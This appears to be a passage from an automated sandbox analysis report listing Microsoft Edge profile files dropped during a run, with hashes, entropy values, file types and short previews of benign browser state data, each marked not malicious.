SHA-512:	B8B59F0643B2E2A57D8BF69E4CA4A290511F4DD6DD437D9F81647F3AB846DAD71CE3854107DA939BCFF6921E12A96FC2D3C589A14A2D67F4E3596F02015A32C6
Malicious:	false
Preview:	2024/11/19-12:00:37.794 1164 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/19-12:00:37.795 1164 Recovering log #3.2024/11/19-12:00:37.795 1164 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	5.602862833441246
Encrypted:	false
SSDEEP:	24:rqtZWHUlHrFlXX8QP5nhIXZIWNV03y1x4VkTN5zgFHHmi28/qQMyG:+tZy8LXX8QPxhIXZXNV03Sx4O+HH3280
MD5:	6C59E864C0BCAFDDD00640D4263E43DB
SHA1:	03F8FB3F697E6D255B5DCA7B1393BDCF21DDC9DB
SHA-256:	3E61282B5FBBD8B661278B0F83F97E58B82D59C28CD58CA84B1936B414F7F88F
SHA-512:	D9B84497ED47340E2FB691D33B68D2EBFE5F626A6692BBAF36F02D2C45D2277659A0327D109C9F7F1383D314D8D4C74BAC54DAE6B4AD878BD6DE5CFCA3B28A2C
Malicious:	false
Preview:	w....................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":481}.!_https://ntp.msn.com..LastKnownPV..1732035645222.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732035646286.._https://ntp.msn.com..MUID!.2346E46F5BBE6A5B0188F1535AD96B1F.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732035645320,"schedule":[4,-1,14,-1,-1,-1,37],"scheduleFixed":[4,-1,14,-1,-1,-1,37],"simpleSchedule":[26,15,18,27,11,42,19]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732035645185.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241118.317"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.117354076717594
Encrypted:	false
SSDEEP:	6:HUwWzyq2PCHhJ23oH+Tcwt8a2jMGIFUt8YUwW7z1Zmw+YUwWFL1RkwOCHhJ23oHr:uzyvBYeb8EFUt8/7Z/+/nR56Yeb8bJ
MD5:	5A341346A66CD11EC3C5B34775D63BB1
SHA1:	D1110AFEBE2F7EDAB464D91A13F205C2523F1EFB
SHA-256:	F6F36B7D37313399FC1C70AA98BAAEE9E4D980FE453541AF0D6D1BD18C8F8789
SHA-512:	2B7C4D3FA254FEF6E67768BCBF5DC9F7B775AE48BB98F886B6E0FECA8C3445184792A465D903FA651350A1C806A15FEC9314BAEA931B26C9171086B883BC5123
Malicious:	false
Preview:	2024/11/19-12:00:34.910 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/19-12:00:34.912 e34 Recovering log #3.2024/11/19-12:00:34.914 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.117354076717594
Encrypted:	false
SSDEEP:	6:HUwWzyq2PCHhJ23oH+Tcwt8a2jMGIFUt8YUwW7z1Zmw+YUwWFL1RkwOCHhJ23oHr:uzyvBYeb8EFUt8/7Z/+/nR56Yeb8bJ
MD5:	5A341346A66CD11EC3C5B34775D63BB1
SHA1:	D1110AFEBE2F7EDAB464D91A13F205C2523F1EFB
SHA-256:	F6F36B7D37313399FC1C70AA98BAAEE9E4D980FE453541AF0D6D1BD18C8F8789
SHA-512:	2B7C4D3FA254FEF6E67768BCBF5DC9F7B775AE48BB98F886B6E0FECA8C3445184792A465D903FA651350A1C806A15FEC9314BAEA931B26C9171086B883BC5123
Malicious:	false
Preview:	2024/11/19-12:00:34.910 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/19-12:00:34.912 e34 Recovering log #3.2024/11/19-12:00:34.914 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\140427cb-a2e1-420b-87ce-8759ab3fc937.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	5.2947515504539
Encrypted:	false
SSDEEP:	48:YcCpfgCzsxtsCfcKs0C9kBRsCCgHwYhbt:F2fylfYkBxTRhx
MD5:	C18D9940C1A7FDA1438842AC150010B1
SHA1:	CF76AABDF083E78D9AA56CEC588B9F205349C067
SHA-256:	33FF43C7D2E3034A863E4748389E7ED4B90039F0FA23DD136502640D8F29BD51
SHA-512:	D072EAB8DD0664B95ADB385D2E8F33A5A678DB984F7B8574C78DC1AC9F9845D865515EBC5240DB901EC6F1C29475B25EA3E1D6A5FEBEA7E038A61CC5173F36EE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379101237286398","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379101239250709","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376595642652424","port":443,"protocol_str":"quic"}],"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"ser

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\27ca0ccb-1c2b-4cc6-b028-4fcb9b8b43fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.294143558286611
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n+:YcCpWsPuCvs+fcKsFgCgakhYhbt
MD5:	DEEB2D761805431D78E6355754FA6576
SHA1:	061EF12348ADD51675F15AAF4A77DCD73438CA39
SHA-256:	44749091A5A4F5280F5122377119D38C8389BA26926A9FCA8CC5D08ACD1FED48
SHA-512:	F224210C23FBD30B946E98A4E6FBCAED15D3588435F5874A19DC270323C0800A3E4AE71F654C27951924F3C7D5EB883EDACAC168599582222112F43813A09E21
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7686591221535366
Encrypted:	false
SSDEEP:	96:te+AuVJXw0CUHWZTE3yTStpNuGMdzjynFA5tXckO0L/ZJV8Y:tTVfCjY3yTSp8GMdIFKXcf0L/ZJVb
MD5:	4748BBA6404CD976BD4FE0EA2A8B1A46
SHA1:	6D8E7A6AA034CE15AE163B0497BA73443942C3AF
SHA-256:	98CA4B743860BDE7C65E2A8AF0C38321BC7E409D3A801B60510E8984CFA42C8F
SHA-512:	4FBE4E117269AEDD25A98B513AB0C67708DEE164F44441EFF71CE44F5DDB8769CF287AFEED9BBEEA8A0180FABDAE077F1F59C048E6D1BB51A36058CB1E5F89FD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.294143558286611
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n+:YcCpWsPuCvs+fcKsFgCgakhYhbt
MD5:	DEEB2D761805431D78E6355754FA6576
SHA1:	061EF12348ADD51675F15AAF4A77DCD73438CA39
SHA-256:	44749091A5A4F5280F5122377119D38C8389BA26926A9FCA8CC5D08ACD1FED48
SHA-512:	F224210C23FBD30B946E98A4E6FBCAED15D3588435F5874A19DC270323C0800A3E4AE71F654C27951924F3C7D5EB883EDACAC168599582222112F43813A09E21
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3a48e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.294143558286611
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n+:YcCpWsPuCvs+fcKsFgCgakhYhbt
MD5:	DEEB2D761805431D78E6355754FA6576
SHA1:	061EF12348ADD51675F15AAF4A77DCD73438CA39
SHA-256:	44749091A5A4F5280F5122377119D38C8389BA26926A9FCA8CC5D08ACD1FED48
SHA-512:	F224210C23FBD30B946E98A4E6FBCAED15D3588435F5874A19DC270323C0800A3E4AE71F654C27951924F3C7D5EB883EDACAC168599582222112F43813A09E21
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.5376270051736196
Encrypted:	false
SSDEEP:	96:OIEumQv8m1ccnvS6q5m4RSPIUlLC9KF1+D1a:OIEumQv8m1ccnvS6qYJQUs9KGE
MD5:	7B1BAB8EB73D21A064661F64C2D67DE4
SHA1:	64220ACD6C3161DD6BE624D95F00E95D0E9AF1E0
SHA-256:	53FAD2E14CFD69499EF8B5BA4641AEF0A1B73E9F7374E40C3CAEABCC0E11B691
SHA-512:	21791C259714868482BC950E4796F47EC08F252DB70DC04093E08B460DEBDDAE676F2286AE42C9C869EBA489A3306DAFB6FCCD149FDC8FAD7B06FC1EA794135A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF294c4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2a157.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a676209c-7c55-4f5b-8dea-2267a0f432f7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a87bc4c0-3ad4-47aa-8c7b-bb72820ab94e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b76d50dc-6e91-41ec-83cd-73a882ba1906.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e901b694-032b-42df-8bc8-21faacbba237.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12454
Entropy (8bit):	5.210048108358391
Encrypted:	false
SSDEEP:	192:stTJ99QTryDigabatSuypbsl/Ia34Hk+idaA8YbV+FgYQA4+q7NIaPeYJ:stTPGKSu4bsl/XyNSbGnQxx7NIQ
MD5:	6CC8E0327A62694F9651F94ABC63234D
SHA1:	4876AB34D7C8406FFFB76B1D45A7679A02AEA368
SHA-256:	2E3A1A45F8D34CB4C8CAF3E19184916E458D43CCEC71503FA1EFD3BA4C0F394F
SHA-512:	202AF0A95D73E70D02F5BF365F42BC512012195A6CAAC885A3CFDD67AA60A578D9E2AFA04DDC14725FA8B368536CFEF70610AF60571EDBE902B6430B6DEACEA9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376509235067826","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2cbc2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12454
Entropy (8bit):	5.210048108358391
Encrypted:	false
SSDEEP:	192:stTJ99QTryDigabatSuypbsl/Ia34Hk+idaA8YbV+FgYQA4+q7NIaPeYJ:stTPGKSu4bsl/XyNSbGnQxx7NIQ
MD5:	6CC8E0327A62694F9651F94ABC63234D
SHA1:	4876AB34D7C8406FFFB76B1D45A7679A02AEA368
SHA-256:	2E3A1A45F8D34CB4C8CAF3E19184916E458D43CCEC71503FA1EFD3BA4C0F394F
SHA-512:	202AF0A95D73E70D02F5BF365F42BC512012195A6CAAC885A3CFDD67AA60A578D9E2AFA04DDC14725FA8B368536CFEF70610AF60571EDBE902B6430B6DEACEA9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376509235067826","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF31965.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12454
Entropy (8bit):	5.210048108358391
Encrypted:	false
SSDEEP:	192:stTJ99QTryDigabatSuypbsl/Ia34Hk+idaA8YbV+FgYQA4+q7NIaPeYJ:stTPGKSu4bsl/XyNSbGnQxx7NIQ
MD5:	6CC8E0327A62694F9651F94ABC63234D
SHA1:	4876AB34D7C8406FFFB76B1D45A7679A02AEA368
SHA-256:	2E3A1A45F8D34CB4C8CAF3E19184916E458D43CCEC71503FA1EFD3BA4C0F394F
SHA-512:	202AF0A95D73E70D02F5BF365F42BC512012195A6CAAC885A3CFDD67AA60A578D9E2AFA04DDC14725FA8B368536CFEF70610AF60571EDBE902B6430B6DEACEA9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376509235067826","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF38ea5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12454
Entropy (8bit):	5.210048108358391
Encrypted:	false
SSDEEP:	192:stTJ99QTryDigabatSuypbsl/Ia34Hk+idaA8YbV+FgYQA4+q7NIaPeYJ:stTPGKSu4bsl/XyNSbGnQxx7NIQ
MD5:	6CC8E0327A62694F9651F94ABC63234D
SHA1:	4876AB34D7C8406FFFB76B1D45A7679A02AEA368
SHA-256:	2E3A1A45F8D34CB4C8CAF3E19184916E458D43CCEC71503FA1EFD3BA4C0F394F
